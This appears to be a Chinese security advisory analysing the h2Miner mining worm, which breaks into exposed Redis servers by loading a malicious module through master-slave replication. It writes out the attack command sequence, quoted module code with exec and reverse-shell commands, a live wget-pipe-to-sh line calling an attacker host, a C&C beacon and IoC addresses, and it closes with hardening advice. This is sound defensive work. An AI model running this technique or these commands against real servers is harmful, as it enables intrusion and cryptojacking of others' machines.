概述
近日, 阿里云安全团队监测到 h2Miner 挖矿僵尸网络蠕虫的一波突然爆发, 其利用 Redis 未授权或弱口令作为入口, 使用主从同步的方式从恶意服务器上同步恶意 module, 之后在目标机器上加载此恶意 module 并执行恶意指令.
在以往常见的攻击者或蠕虫中, 其大多都沿用登陆 Redis 后写入定时任务或写 SSH key 的方式进行入侵, 这种方式受权限与系统类型影响并不一定能够成功. 而此次使用 Redis 加载 module 的攻击方式, 可以直接执行任意指令或拿到 shell 交互环境, 危害极大.
由于全网 Redis 近百万台的数量, 因此阿里云安全团队建议用户尽量不要将 Redis 服务暴露在公网, 及时排查相关弱口令问题及是否受蠕虫影响, 必要时可考虑选用安全产品帮助保障安全.
背景
h2Miner 团伙
h2Miner 是一个 Linux 下的挖矿僵尸网络, 通过 hadoop yarn 未授权, docker 未授权, confluence RCE,thinkphp5RCE,Redis 未授权等多种手段进行入侵, 下载恶意脚本及恶意程序进行挖矿牟利, 横向扫描扩大攻击面并维持 C&C 通信.
Redis RCE
此利用方式由 Pavel Toporkov 在 zeronights 2018 上分享, 在 Redis 4.x 之后, Redis 新增了 Module 功能, 使用者可以在 Redis 中加载由 C 语言编译而成的 so 文件, 从而实现特定的 Redis 命令. 而在 Redis 主从模式下, 可以通过 FULLRESYNC 同步文件到从机上, 从而完成恶意 so 文件的传输. 传输完成后在目标机 Redis 上进行 Module 加载, 便可执行任意指令.
蠕虫分析
近日, 阿里云安全团队发现 h2Miner 团伙规模突然急剧上升, 在短短几日所影响的主机数量翻了一个数量级, 阿里云安全团队在第一时间进行了响应. 根据分析, 整体的攻击链路如下图:
攻击链路
h2miner 主要使用 Redis RCE 的方式来完成入侵, 首先利用 Redis 未授权或弱口令获取 Redis 登录权限, 之后利用使用 config set dbfilename red2.so 来修改保存文件名, 之后使用 salveof 命令设置主从复制的主机地址. 当目标 Redis 服务与攻击者所有的恶意 Redis 服务建立主从连接关系后, 攻击者控制恶意 Redis 发送 FULLRESYNC 进行文件同步, 同步的结果会在目标 Redis 上写入 red2.so 文件, 从而完成了恶意 so 文件的传输. 在此之后, 攻击者利用 module load ./red2.so 加载此 so 文件, 此模块根据传入的参数可以执行任意指令或发起反向连接获取 shell 环境.
- if (RedisModule_CreateCommand(ctx, "system.exec",
- DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
- return REDISMODULE_ERR;
- if (RedisModule_CreateCommand(ctx, "system.rev",
- RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
- return REDISMODULE_ERR;
在执行类似 / bin/sh -c wget -q -O - http://195.3.146.118/unk.sh | sh> /dev/null 2>&1 的恶意指令之后, 攻击者会将的文件名恢复为默认的, 并使用 module unload 卸载 system 模块的加载, 从而清理相应的痕迹. 但依旧在被攻击主机上残留有 red2.so 文件, 建议用户关注自身 Redis 服务目录下是否有此可疑文件.
跟进其使用的恶意脚本, 除了杀死一些恶意进程以抢夺资源之外, 会向 http://142.44.191.122/kinsing 下载恶意二进制文件并运行, 因此主机中包含 kinsing 的进程或目录可能代表此机器已被该蠕虫 "光临".
根据简单的逆向分析结果显示, 该恶意程序主要有以下功能:
下载文件并执行
执行挖矿程序
维持 C&C 通信并执行命令
利用 masscan 对外扫描以扩大影响面
恶意程序函数列表
除此之外, 恶意程序中内置了 C&C 服务器 ip 地址, 受影响的主机会以 http 的方式与 C&C 通信服务器进行通信, 其中肉鸡的信息在 http 头部中标识.
内置 C&C 服务器
- GET /h HTTP/1.1
- Host: 91.215.169.111
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewebKit/537.36 (Khtml, like Gecko) Chrome/78.0.3904.108 Safari/537.36
- Arch: amd64
- Cores: 2
- Mem: 3944
- Os: Linux
- Osname: debian
- Osversion: 10.0
- Root: false
- S: k
- Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
- Version: 26
- Accept-Encoding: gzip
其他攻击方式
序号 | 攻击方式 |
---|---|
1 | Solr dataimport RCE(CVE-2019-0193) |
2 | Hadoop Yarn REST API 未授权 RCE (CVE-2017-15718) |
3 | Docker Remote API 未授权 RCE |
4 | ThinkPHP5 全局变量覆盖 RCE |
5 | Confluence 未授权 RCE (CVE-2019-3396) |
- IoC
- /kinsing
- 142.44.191.122/t.sh
- 185.92.74.42/h.sh
- 142.44.191.122/spr.sh
- 142.44.191.122/spre.sh
- 195.3.146.118/unk.sh
- c&c
- 45.10.88.102
- 91.215.169.111
- 139.99.50.255
- 46.243.253.167
- 195.123.220.193
安全建议
Redis 非必要情况不要暴露在公网, 使用足够强壮的 Redis 口令;
排查 Redis 路径下是否残留 red2.so 文件, 查询主机上是有否包含有 kinsing 的文件或进程, 以确认是否被此蠕虫感染;
建议使用阿里云安全的下一代云防火墙产品, 其阻断恶意外联, 能够配置智能策略的功能, 能够有效帮助防御入侵. 哪怕攻击者在主机上的隐藏手段再高明, 下载, 挖矿, 反弹 shell 这些操作, 都需要进行恶意外联; 云防火墙的拦截将彻底阻断攻击链. 此外, 用户还可以通过自定义策略, 直接屏蔽恶意网站, 达到阻断入侵的目的. 此外, 云防火墙独有的虚拟补丁功能, 能够帮助客户更灵活, 更 "无感" 地阻断攻击;
对于有更高定制化要求的用户, 可以考虑使用阿里云安全管家服务. 购买服务后将有经验丰富的安全专家提供咨询服务, 定制适合您的方案, 帮助加固系统, 预防入侵. 入侵事件发生后, 也可介入直接协助入侵后的清理, 事件溯源等, 适合有较高安全需求的用户, 或未雇佣安全工程师, 但希望保障系统安全的企业.
来源: https://yq.aliyun.com/articles/741602